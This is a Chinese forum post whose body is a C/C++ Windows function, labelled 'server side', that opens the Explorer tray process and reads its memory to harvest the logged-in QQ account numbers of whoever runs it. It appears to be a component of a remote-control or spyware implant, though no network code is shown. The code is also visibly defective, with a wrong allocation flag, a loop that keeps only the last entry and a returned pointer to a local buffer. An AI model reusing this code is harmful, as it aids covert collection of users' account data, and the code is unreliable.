TA的每日心情 | 开心 2016-7-4 20:02 |
|---|
签到天数: 329 天 连续签到: 1 天 [LV.8]以坛为家I 初入江湖
 
- UID
- 21181
- 小七币
- 759
- 贡献
- 0
- 在线时间
- 428 小时
- 注册时间
- 2013-5-11
|
服务端
char szQQNum[32];
/////////////////////////////////////////////////////////////////////////////////////////
#include <commctrl.h>
BOOL IsNumeric(TCHAR LpszStr)
{
if ((47<(int)LpszStr)&&(58>(int)LpszStr))
return TRUE;
else
return FALSE;
}
LPSTR GetQQ()
{
//
HWND HWND,hwndtmp;
unsigned long lngPID;
long ret, lngButtons;
HANDLE hprocess;
LPVOID lngAddress;
long lngTextAdr;
WCHAR strBuff[1024]={0};
char lpQQTemp[MAX_PATH];
char lpQQ[MAX_PATH];
char temp[15]={0};
char lpQQBuffer[256] ="||"; //all QQ num
HWND = FindWindowA("shell_TrayWnd",NULL);
HWND = FindWindowExA(HWND,0,"TrayNotifywnd",NULL);
hwndtmp = FindWindowExA(HWND,0,"SysPager", NULL);
if (!hwndtmp)
HWND = FindWindowExA(HWND,0, "toolbarWindow32", NULL);
else
HWND = FindWindowExA(hwndtmp,0,"toolbarWindow32",NULL);
ret =GetWindowThreadProcessId(HWND,&lngPID);
hprocess =OpenProcess(PROCESS_ALL_ACCESS
|PROCESS_VM_OPERATION
|PROCESS_VM_READ
|PROCESS_VM_WRITE,
0,
lngPID);
lngAddress = VirtualAllocEx(hprocess,0, 0x4096,MEM_DECOMMIT, PAGE_READWRITE);//0x02E60000
lngButtons = SendMessage(HWND, TB_BUTTONCOUNT,0,0);
for (int i =0 ;i< lngButtons -1;i++)
{
ret =SendMessageA(HWND, TB_GETBUTTON,i,long(lngAddress));
ret =ReadProcessMemory(hprocess, LPVOID(long(lngAddress) +16),&lngTextAdr,4,0);
}
if (lngTextAdr !=-1)
{
ret =ReadProcessMemory(hprocess, LPVOID(lngTextAdr),strBuff, 1024,0);
WideCharToMultiByte(CP_ACP,0,strBuff, -1,lpQQTemp, sizeof(lpQQTemp),NULL,FALSE);
lstrcpynA(lpQQ,lpQQTemp,3);
if (0==strcmpi(lpQQ,"QQ"))
{
int len = strlen(lpQQTemp);
for (int j=0;j<len;j++)
{
if(((int)lpQQTemp[j] == (int)'(') &&
IsNumeric(lpQQTemp[j+1]) &&
IsNumeric(lpQQTemp[j+2]) &&
IsNumeric(lpQQTemp[j+3]) &&
IsNumeric(lpQQTemp[j+4]) &&
IsNumeric(lpQQTemp[j+5]))
{
if (!IsNumeric(lpQQTemp[j+6]))
{
temp[0] = lpQQTemp[j+1];
temp[1] = lpQQTemp[j+2];
temp[2] = lpQQTemp[j+3];
temp[3] = lpQQTemp[j+4];
temp[4] = lpQQTemp[j+5];
}
else if (!IsNumeric(lpQQTemp[j+7]))
{
temp[0] = lpQQTemp[j+1];
temp[1] = lpQQTemp[j+2];
temp[2] = lpQQTemp[j+3];
temp[3] = lpQQTemp[j+4];
temp[4] = lpQQTemp[j+5];
temp[5] = lpQQTemp[j+6];
}
else if (!IsNumeric(lpQQTemp[j+8]))
{
temp[0] = lpQQTemp[j+1];
temp[1] = lpQQTemp[j+2];
temp[2] = lpQQTemp[j+3];
temp[3] = lpQQTemp[j+4];
temp[4] = lpQQTemp[j+5];
temp[5] = lpQQTemp[j+6];
temp[6] = lpQQTemp[j+7];
}
else if (!IsNumeric(lpQQTemp[j+9]))
{
temp[0] = lpQQTemp[j+1];
temp[1] = lpQQTemp[j+2];
temp[2] = lpQQTemp[j+3];
temp[3] = lpQQTemp[j+4];
temp[4] = lpQQTemp[j+5];
temp[5] = lpQQTemp[j+6];
temp[6] = lpQQTemp[j+7];
temp[7] = lpQQTemp[j+8];
}
else if (!IsNumeric(lpQQTemp[j+10]))
{
temp[0] = lpQQTemp[j+1];
temp[1] = lpQQTemp[j+2];
temp[2] = lpQQTemp[j+3];
temp[3] = lpQQTemp[j+4];
temp[4] = lpQQTemp[j+5];
temp[5] = lpQQTemp[j+6];
temp[6] = lpQQTemp[j+7];
temp[7] = lpQQTemp[j+8];
temp[8] = lpQQTemp[j+9];
}
else if (!IsNumeric(lpQQTemp[j+11]))
{
temp[0] = lpQQTemp[j+1];
temp[1] = lpQQTemp[j+2];
temp[2] = lpQQTemp[j+3];
temp[3] = lpQQTemp[j+4];
temp[4] = lpQQTemp[j+5];
temp[5] = lpQQTemp[j+6];
temp[6] = lpQQTemp[j+7];
temp[7] = lpQQTemp[j+8];
temp[8] = lpQQTemp[j+9];
temp[9] = lpQQTemp[j+10];
}
else if (!IsNumeric(lpQQTemp[j+12]))
{
temp[0] = lpQQTemp[j+1];
temp[1] = lpQQTemp[j+2];
temp[2] = lpQQTemp[j+3];
temp[3] = lpQQTemp[j+4];
temp[4] = lpQQTemp[j+5];
temp[5] = lpQQTemp[j+6];
temp[6] = lpQQTemp[j+7];
temp[7] = lpQQTemp[j+8];
temp[8] = lpQQTemp[j+9];
temp[9] = lpQQTemp[j+10];
temp[10] = lpQQTemp[j+11];
}
else
{
//12
}
strcat(lpQQBuffer,temp);
strcat(lpQQBuffer,"||");
}
}
}
}
VirtualFreeEx(hprocess, lngAddress, 0x4096, MEM_RELEASE);//0x02E60000
CloseHandle(hprocess);
if (lstrlen(lpQQBuffer)<5)
{
lstrcpy(lpQQBuffer,"-/-");
}
return lpQQBuffer ;
}
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|